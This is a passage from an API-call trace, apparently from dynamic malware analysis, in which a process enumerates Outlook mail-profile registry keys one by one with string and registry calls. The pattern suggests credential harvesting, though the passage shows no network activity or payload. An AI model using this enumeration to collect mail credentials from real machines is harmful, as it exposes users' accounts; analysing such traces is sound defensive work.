NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\" [0079.762] lstrcatA (in: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\", lpString2="d9417b97bf6b594d89a41cdbed740112" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\d9417b97bf6b594d89a41cdbed740112") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\d9417b97bf6b594d89a41cdbed740112" [0079.762] LocalFree (hMem=0x66b738) returned 0x0 [0079.762] lstrlenA (lpString="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\d9417b97bf6b594d89a41cdbed740112") returned 122 [0079.762] lstrlenA (lpString="") returned 0 [0079.762] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x66b738 [0079.762] lstrcpyA (in: lpString1=0x66b738, lpString2="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\d9417b97bf6b594d89a41cdbed740112" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\d9417b97bf6b594d89a41cdbed740112") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\d9417b97bf6b594d89a41cdbed740112" [0079.762] lstrcatA (in: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\d9417b97bf6b594d89a41cdbed740112", lpString2="" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\d9417b97bf6b594d89a41cdbed740112") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\d9417b97bf6b594d89a41cdbed740112" [0079.762] LocalFree (hMem=0x630000) returned 0x0 [0079.762] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\d9417b97bf6b594d89a41cdbed740112", phkResult=0x12f6ac | out: phkResult=0x12f6ac*=0x1f0) returned 0x0 [0079.762] RegEnumKeyExA (in: hKey=0x1f0, dwIndex=0x0, lpName=0x12eea4, lpcchName=0x12f6a4, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="00000004", lpcchName=0x12f6a4, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0079.763] RegEnumKeyExA (in: hKey=0x1f4, dwIndex=0xe, lpName=0x12f6c8, lpcchName=0x12fec8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="ddb0922fc50b8d42be5a821ede840761", lpcchName=0x12fec8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0079.763] lstrlenA (lpString="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook") returned 89 [0079.763] lstrlenA (lpString="\\") returned 1 [0079.763] LocalAlloc (uFlags=0x40, uBytes=0xdb) returned 0x66b738 [0079.763] lstrcpyA (in: lpString1=0x66b738, lpString2="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook" [0079.763] lstrcatA (in: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook", lpString2="\\" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\" [0079.763] lstrlenA (lpString="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\") returned 90 [0079.763] lstrlenA (lpString="ddb0922fc50b8d42be5a821ede840761") returned 32 [0079.763] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x630000 [0079.763] lstrcpyA (in: lpString1=0x630000, lpString2="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\" [0079.763] lstrcatA (in: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\", lpString2="ddb0922fc50b8d42be5a821ede840761" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\ddb0922fc50b8d42be5a821ede840761") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\ddb0922fc50b8d42be5a821ede840761" [0079.763] LocalFree (hMem=0x66b738) returned 0x0 [0079.763] lstrlenA (lpString="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\ddb0922fc50b8d42be5a821ede840761") returned 122 [0079.763] lstrlenA (lpString="") returned 0 [0079.763] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x66b738 [0079.763] lstrcpyA (in: lpString1=0x66b738, lpString2="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\ddb0922fc50b8d42be5a821ede840761" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\ddb0922fc50b8d42be5a821ede840761") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\ddb0922fc50b8d42be5a821ede840761" [0079.763] lstrcatA (in: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\ddb0922fc50b8d42be5a821ede840761", lpString2="" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\ddb0922fc50b8d42be5a821ede840761") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\ddb0922fc50b8d42be5a821ede840761" [0079.763] LocalFree (hMem=0x630000) returned 0x0 [0079.763] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\ddb0922fc50b8d42be5a821ede840761", phkResult=0x12f6ac | out: phkResult=0x12f6ac*=0x1f0) returned 0x0 [0079.763] RegEnumKeyExA (in: hKey=0x1f0, dwIndex=0x0, lpName=0x12eea4, lpcchName=0x12f6a4, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="00000004", lpcchName=0x12f6a4, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0079.763] RegEnumKeyExA (in: hKey=0x1f4, dwIndex=0xf, lpName=0x12f6c8, lpcchName=0x12fec8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="e3233d298149174193c9c78f955de155", lpcchName=0x12fec8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0079.763] lstrlenA (lpString="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook") returned 89 [0079.763] lstrlenA (lpString="\\") returned 1 [0079.763] LocalAlloc (uFlags=0x40, uBytes=0xdb) returned 0x66b738 [0079.763] lstrcpyA (in: lpString1=0x66b738, lpString2="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook" [0079.763] lstrcatA (in: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook", lpString2="\\" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\" [0079.763] lstrlenA (lpString="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\") returned 90 [0079.763] lstrlenA (lpString="e3233d298149174193c9c78f955de155") returned 32 [0079.763] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x630000 [0079.763] lstrcpyA (in: lpString1=0x630000, lpString2="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\" [0079.763] lstrcatA (in: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\", lpString2="e3233d298149174193c9c78f955de155" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\e3233d298149174193c9c78f955de155") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\e3233d298149174193c9c78f955de155" [0079.764] LocalFree (hMem=0x66b738) returned 0x0 [0079.764] lstrlenA (lpString="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\e3233d298149174193c9c78f955de155") returned 122 [0079.764] lstrlenA (lpString="") returned 0 [0079.764] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x66b738 [0079.764] lstrcpyA (in: lpString1=0x66b738, lpString2="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\e3233d298149174193c9c78f955de155" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\e3233d298149174193c9c78f955de155") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\e3233d298149174193c9c78f955de155" [0079.764] lstrcatA (in: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\e3233d298149174193c9c78f955de155", lpString2="" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\e3233d298149174193c9c78f955de155") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\e3233d298149174193c9c78f955de155" [0079.764] LocalFree (hMem=0x630000) returned 0x0 [0079.764] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\e3233d298149174193c9c78f955de155", phkResult=0x12f6ac | out: phkResult=0x12f6ac*=0x1f0) returned 0x0 [0079.764] RegEnumKeyExA (in: hKey=0x1f0, dwIndex=0x0, lpName=0x12eea4, lpcchName=0x12f6a4, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="00000004", lpcchName=0x12f6a4, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0079.764] RegEnumKeyExA (in: hKey=0x1f4, dwIndex=0x10, lpName=0x12f6c8, lpcchName=0x12fec8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="e50f0eb5db19ee44ba2717941e28e885", lpcchName=0x12fec8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0079.764] lstrlenA (lpString="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook") returned 89 [0079.764] lstrlenA (lpString="\\") returned 1 [0079.764] LocalAlloc (uFlags=0x40, uBytes=0xdb) returned 0x66b738 [0079.764] lstrcpyA (in: lpString1=0x66b738, lpString2="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook" [0079.764] lstrcatA (in: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook", lpString2="\\" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\" [0079.764] lstrlenA (lpString="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\") returned 90 [0079.764] lstrlenA (lpString="e50f0eb5db19ee44ba2717941e28e885") returned 32 [0079.764] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x630000 [0079.764] lstrcpyA (in: lpString1=0x630000, lpString2="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\" [0079.764] lstrcatA (in: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\", lpString2="e50f0eb5db19ee44ba2717941e28e885" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\e50f0eb5db19ee44ba2717941e28e885") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\e50f0eb5db19ee44ba2717941e28e885" [0079.764] LocalFree (hMem=0x66b738) returned 0x0 [0079.764] lstrlenA (lpString="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\e50f0eb5db19ee44ba2717941e28e885") returned 122 [0079.764] lstrlenA (lpString="") returned 0 [0079.764] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x66b738 [0079.764] lstrcpyA (in: lpString1=0x66b738, lpString2="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\e50f0eb5db19ee44ba2717941e28e885" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\e50f0eb5db19ee44ba2717941e28e885") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\e50f0eb5db19ee44ba2717941e28e885" [0079.764] lstrcatA (in: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\e50f0eb5db19ee44ba2717941e28e885", lpString2="" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\e50f0eb5db19ee44ba2717941e28e885") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\e50f0eb5db19ee44ba2717941e28e885" [0079.764] LocalFree (hMem=0x630000) returned 0x0 [0079.764] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\e50f0eb5db19ee44ba2717941e28e885", phkResult=0x12f6ac | out: phkResult=0x12f6ac*=0x1f0) returned 0x0 [0079.764] RegEnumKeyExA (in: hKey=0x1f0, dwIndex=0x0, lpName=0x12eea4, lpcchName=0x12f6a4, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="00000004", lpcchName=0x12f6a4, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0079.765] RegEnumKeyExA (in: hKey=0x1f4, dwIndex=0x11, lpName=0x12f6c8, lpcchName=0x12fec8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="f86ed2903a4a11cfb57e524153480001", lpcchName=0x12fec8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0079.765] lstrlenA (lpString="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook") returned 89 [0079.765] lstrlenA (lpString="\\") returned 1 [0079.765] LocalAlloc (uFlags=0x40, uBytes=0xdb) returned 0x66b738 [0079.765] lstrcpyA (in: lpString1=0x66b738, lpString2="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook" [0079.765] lstrcatA (in: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook", lpString2="\\" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\" [0079.765] lstrlenA (lpString="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\") returned 90 [0079.765] lstrlenA (lpString="f86ed2903a4a11cfb57e524153480001") returned 32 [0079.765] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x630000 [0079.765] lstrcpyA (in: lpString1=0x630000, lpString2="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\" [0079.765] lstrcatA (in: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\", lpString2="f86ed2903a4a11cfb57e524153480001" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\f86ed2903a4a11cfb57e524153480001") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\f86ed2903a4a11cfb57e524153480001" [0079.765] LocalFree (hMem=0x66b738) returned 0x0 [0079.765] lstrlenA (lpString="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\f86ed2903a4a11cfb57e524153480001") returned 122 [0079.765] lstrlenA (lpString="") returned 0 [0079.765] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x66b738 [0079.765] lstrcpyA (in: lpString1=0x66b738, lpString2="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\f86ed2903a4a11cfb57e524153480001" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\f86ed2903a4a11cfb57e524153480001") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\f86ed2903a4a11cfb57e524153480001" [0079.765] lstrcatA (in: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\f86ed2903a4a11cfb57e524153480001", lpString2="" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\f86ed2903a4a11cfb57e524153480001") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\f86ed2903a4a11cfb57e524153480001" [0079.765] LocalFree (hMem=0x630000) returned 0x0 [0079.765] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\f86ed2903a4a11cfb57e524153480001", phkResult=0x12f6ac | out: phkResult=0x12f6ac*=0x1f0) returned 0x0 [0079.765] RegEnumKeyExA (in: hKey=0x1f0, dwIndex=0x0, lpName=0x12eea4, lpcchName=0x12f6a4, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="00000004", lpcchName=0x12f6a4, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0079.765] RegEnumKeyExA (in: hKey=0x1f4, dwIndex=0x12, lpName=0x12f6c8, lpcchName=0x12fec8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{D9734F19-8CFB-411D-BC59-833E334FCB5E}", lpcchName=0x12fec8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0079.765] lstrlenA (lpString="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook") returned 89 [0079.765] lstrlenA (lpString="\\") returned 1 [0079.765] LocalAlloc (uFlags=0x40, uBytes=0xdb) returned 0x66b738 [0079.765] lstrcpyA (in: lpString1=0x66b738, lpString2="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook" [0079.765] lstrcatA (in: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook", lpString2="\\" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\" [0079.765] lstrlenA (lpString="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\") returned 90 [0079.765] lstrlenA (lpString="{D9734F19-8CFB-411D-BC59-833E334FCB5E}") returned 38 [0079.765] LocalAlloc (uFlags=0x40, uBytes=0x101) returned 0x630000 [0079.765] lstrcpyA (in: lpString1=0x630000, lpString2="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\" [0079.766] lstrcatA (in: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\", lpString2="{D9734F19-8CFB-411D-BC59-833E334FCB5E}" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\{D9734F19-8CFB-411D-BC59-833E334FCB5E}") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\{D9734F19-8CFB-411D-BC59-833E334FCB5E}" [0079.766] LocalFree (hMem=0x66b738) returned 0x0 [0079.766] lstrlenA (lpString="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\{D9734F19-8CFB-411D-BC59-833E334FCB5E}") returned 128 [0079.766] lstrlenA (lpString="") returned 0 [0079.766] LocalAlloc (uFlags=0x40, uBytes=0x101) returned 0x66b738 [0079.766] lstrcpyA (in: lpString1=0x66b738, lpString2="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\{D9734F19-8CFB-411D-BC59-833E334FCB5E}" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\{D9734F19-8CFB-411D-BC59-833E334FCB5E}") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\{D9734F19-8CFB-411D-BC59-833E334FCB5E}" [0079.766] lstrcatA (in: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\{D9734F19-8CFB-411D-BC59-833E334FCB5E}", lpString2="" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\{D9734F19-8CFB-411D-BC59-833E334FCB5E}") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\{D9734F19-8CFB-411D-BC59-833E334FCB5E}" [0079.766] LocalFree (hMem=0x630000) returned 0x0 [0079.766] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\{D9734F19-8CFB-411D-BC59-833E334FCB5E}", phkResult=0x12f6ac | out: phkResult=0x12f6ac*=0x1f0) returned 0x0 [0079.766] RegEnumKeyExA (in: hKey=0x1f0, dwIndex=0x0, lpName=0x12eea4, lpcchName=0x12f6a4, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Calendar Summary", lpcchName=0x12f6a4, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0079.766] lstrlenA (lpString="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\{D9734F19-8CFB-411D-BC59-833E334FCB5E}") returned 128 [0079.766] lstrlenA (lpString="\\") returned 1 [0079.766] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x630000 [0079.766] lstrcpyA (in: lpString1=0x630000, lpString2="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\{D9734F19-8CFB-411D-BC59-833E334FCB5E}" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\{D9734F19-8CFB-411D-BC59-833E334FCB5E}") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\{D9734F19-8CFB-411D-BC59-833E334FCB5E}" [0079.766] lstrcatA (in: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\{D9734F19-8CFB-411D-BC59-833E334FCB5E}", lpString2="\\" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\{D9734F19-8CFB-411D-BC59-833E334FCB5E}\\") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\{D9734F19-8CFB-411D-BC59-833E334FCB5E}\\" [0079.766] lstrlenA (lpString="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\{D9734F19-8CFB-411D-BC59-833E334FCB5E}\\") returned 129 [0079.766] lstrlenA (lpString="Calendar Summary") returned 16 [0079.766] LocalAlloc (uFlags=0x40, uBytes=0x112) returned 0x66b940 [0079.766] lstrcpyA (in: lpString1=0x66b940, lpString2="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\{D9734F19-8CFB-411D-BC59-833E334FCB5E}\\" | out: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\{D9734F19-8CFB-411D-BC59-833E334FCB5E}\\") returned="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\{D9734F19-8CFB-411D-BC59-833E334FCB5E}\\" [0079.766] lstrcatA (in: lpString1="Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\{D9734F19-8CFB-411D-BC59-833E334FCB5E}\\", lpString2="Calendar Summary" | out: 